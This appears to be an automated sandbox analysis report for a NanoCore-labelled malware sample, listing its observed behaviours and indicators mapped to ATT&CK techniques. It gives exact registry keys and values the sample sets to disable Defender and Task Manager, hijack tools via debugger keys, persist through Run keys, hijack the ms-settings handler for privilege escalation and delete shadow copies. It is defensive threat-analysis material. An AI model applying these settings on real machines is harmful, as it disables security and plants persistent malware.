nanocore | be44227c6803e9b05ba6a30b47d5d824d026448bd8d57d6357c2fd6ac5665ea0

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	medcross.co_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5004	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	medcross.co_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	medcross.co_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	medcross.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	medcross.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	medcross.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
5032	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	medcross.co_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2644	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	medcross.co_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	medcross.co_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	medcross.co_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4400	wscript.exe
1092	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	medcross.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	medcross.co_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1464	sc.exe
5732	sc.exe
4476	sc.exe
2816	sc.exe
5900	sc.exe
360	sc.exe
1568	sc.exe
3560	sc.exe
1480	sc.exe
1572	sc.exe
4788	sc.exe
3020	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2948	cmd.exe
2944	cmd.exe
3200	cmd.exe
2796	cmd.exe
4756	cmd.exe
4508	cmd.exe
5792	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5740	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3184	NETSTAT.EXE
1228	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4640	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
612	vssadmin.exe
4376	vssadmin.exe
3448	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\WallpaperStyle = "2"	medcross.co_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302851225586343"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	medcross.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	medcross.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	medcross.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	medcross.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	medcross.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	medcross.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	medcross.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	medcross.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	medcross.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe\" \"%1\""	medcross.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	medcross.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\DelegateExecute	medcross.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	medcross.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	medcross.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	medcross.co_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5040	schtasks.exe
4620	schtasks.exe
2544	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4100	chrome.exe
4100	chrome.exe
5004	powershell.exe
5004	powershell.exe
5004	powershell.exe
1716	WMIC.exe
1716	WMIC.exe
1716	WMIC.exe
1716	WMIC.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
3792	WMIC.exe
3792	WMIC.exe
3792	WMIC.exe
3792	WMIC.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
3484	WMIC.exe
3484	WMIC.exe
3484	WMIC.exe
3484	WMIC.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe
704	medcross.co_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
704	medcross.co_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4100	chrome.exe
Token: SeCreatePagefilePrivilege	4100	chrome.exe
Token: SeShutdownPrivilege	4100	chrome.exe
Token: SeCreatePagefilePrivilege	4100	chrome.exe
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeShutdownPrivilege	4100	chrome.exe
Token: SeCreatePagefilePrivilege	4100	chrome.exe
Token: SeShutdownPrivilege	4100	chrome.exe
Token: SeCreatePagefilePrivilege	4100	chrome.exe
Token: SeShutdownPrivilege	4100	chrome.exe
Token: SeCreatePagefilePrivilege	4100	chrome.exe
Token: SeShutdownPrivilege	4100	chrome.exe
Token: SeCreatePagefilePrivilege	4100	chrome.exe
Token: SeIncreaseQuotaPrivilege	1716	WMIC.exe
Token: SeSecurityPrivilege	1716	WMIC.exe
Token: SeTakeOwnershipPrivilege	1716	WMIC.exe
Token: SeLoadDriverPrivilege	1716	WMIC.exe
Token: SeSystemProfilePrivilege	1716	WMIC.exe
Token: SeSystemtimePrivilege	1716	WMIC.exe
Token: SeProfSingleProcessPrivilege	1716	WMIC.exe
Token: SeIncBasePriorityPrivilege	1716	WMIC.exe
Token: SeCreatePagefilePrivilege	1716	WMIC.exe
Token: SeBackupPrivilege	1716	WMIC.exe
Token: SeRestorePrivilege	1716	WMIC.exe
Token: SeShutdownPrivilege	1716	WMIC.exe
Token: SeDebugPrivilege	1716	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1716	WMIC.exe
Token: SeRemoteShutdownPrivilege	1716	WMIC.exe
Token: SeUndockPrivilege	1716	WMIC.exe
Token: SeManageVolumePrivilege	1716	WMIC.exe
Token: 33	1716	WMIC.exe
Token: 34	1716	WMIC.exe
Token: 35	1716	WMIC.exe
Token: 36	1716	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1716	WMIC.exe
Token: SeSecurityPrivilege	1716	WMIC.exe
Token: SeTakeOwnershipPrivilege	1716	WMIC.exe
Token: SeLoadDriverPrivilege	1716	WMIC.exe
Token: SeSystemProfilePrivilege	1716	WMIC.exe
Token: SeSystemtimePrivilege	1716	WMIC.exe
Token: SeProfSingleProcessPrivilege	1716	WMIC.exe
Token: SeIncBasePriorityPrivilege	1716	WMIC.exe
Token: SeCreatePagefilePrivilege	1716	WMIC.exe
Token: SeBackupPrivilege	1716	WMIC.exe
Token: SeRestorePrivilege	1716	WMIC.exe
Token: SeShutdownPrivilege	1716	WMIC.exe
Token: SeDebugPrivilege	1716	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1716	WMIC.exe
Token: SeRemoteShutdownPrivilege	1716	WMIC.exe
Token: SeUndockPrivilege	1716	WMIC.exe
Token: SeManageVolumePrivilege	1716	WMIC.exe
Token: 33	1716	WMIC.exe
Token: 34	1716	WMIC.exe
Token: 35	1716	WMIC.exe
Token: 36	1716	WMIC.exe
Token: SeBackupPrivilege	3860	vssvc.exe
Token: SeRestorePrivilege	3860	vssvc.exe
Token: SeAuditPrivilege	3860	vssvc.exe
Token: SeShutdownPrivilege	4100	chrome.exe
Token: SeCreatePagefilePrivilege	4100	chrome.exe
Token: SeShutdownPrivilege	4100	chrome.exe
Token: SeCreatePagefilePrivilege	4100	chrome.exe
Token: SeIncreaseQuotaPrivilege	5004	powershell.exe
Token: SeSecurityPrivilege	5004	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe
4100	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
704	medcross.co_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 704 wrote to memory of 4100	704	medcross.co_chrome.exe	89
PID 4100 wrote to memory of 1856	4100	chrome.exe	90
PID 704 wrote to memory of 5004	704	medcross.co_chrome.exe	91
PID 704 wrote to memory of 1464	704	medcross.co_chrome.exe	93
PID 4100 wrote to memory of 3180	4100	chrome.exe	95
PID 4100 wrote to memory of 3180	4100	chrome.exe	95
PID 4100 wrote to memory of 5740	4100	chrome.exe	96
PID 4100 wrote to memory of 4540	4100	chrome.exe	97
PID 4100 wrote to memory of 4540	4100	chrome.exe	97
PID 4100 wrote to memory of 3376	4100	chrome.exe	99
PID 4100 wrote to memory of 3376	4100	chrome.exe	99
PID 4100 wrote to memory of 5128	4100	chrome.exe	100
PID 4100 wrote to memory of 5128	4100	chrome.exe	100
PID 704 wrote to memory of 1480	704	medcross.co_chrome.exe	101
PID 704 wrote to memory of 5732	704	medcross.co_chrome.exe	103
PID 4100 wrote to memory of 1288	4100	chrome.exe	189
PID 4100 wrote to memory of 1288	4100	chrome.exe	189
PID 704 wrote to memory of 4476	704	medcross.co_chrome.exe	106
PID 4100 wrote to memory of 5692	4100	chrome.exe	108
PID 4100 wrote to memory of 5692	4100	chrome.exe	108
PID 704 wrote to memory of 2816	704	medcross.co_chrome.exe	109
PID 704 wrote to memory of 5900	704	medcross.co_chrome.exe	111
PID 704 wrote to memory of 360	704	medcross.co_chrome.exe	113
PID 704 wrote to memory of 1568	704	medcross.co_chrome.exe	115
PID 704 wrote to memory of 5092	704	medcross.co_chrome.exe	117
PID 704 wrote to memory of 3560	704	medcross.co_chrome.exe	197
PID 704 wrote to memory of 1572	704	medcross.co_chrome.exe	120
PID 5092 wrote to memory of 4188	5092	fodhelper.exe	134
PID 704 wrote to memory of 612	704	medcross.co_chrome.exe	123
PID 704 wrote to memory of 1716	704	medcross.co_chrome.exe	125
PID 704 wrote to memory of 4400	704	medcross.co_chrome.exe	132
PID 704 wrote to memory of 5040	704	medcross.co_chrome.exe	133
PID 704 wrote to memory of 4620	704	medcross.co_chrome.exe	135
PID 704 wrote to memory of 2920	704	medcross.co_chrome.exe	139
PID 704 wrote to memory of 2948	704	medcross.co_chrome.exe	141
PID 704 wrote to memory of 3200	704	medcross.co_chrome.exe	143
PID 704 wrote to memory of 2944	704	medcross.co_chrome.exe	144
PID 704 wrote to memory of 2796	704	medcross.co_chrome.exe	145
PID 704 wrote to memory of 5792	704	medcross.co_chrome.exe	146
PID 704 wrote to memory of 4508	704	medcross.co_chrome.exe	147
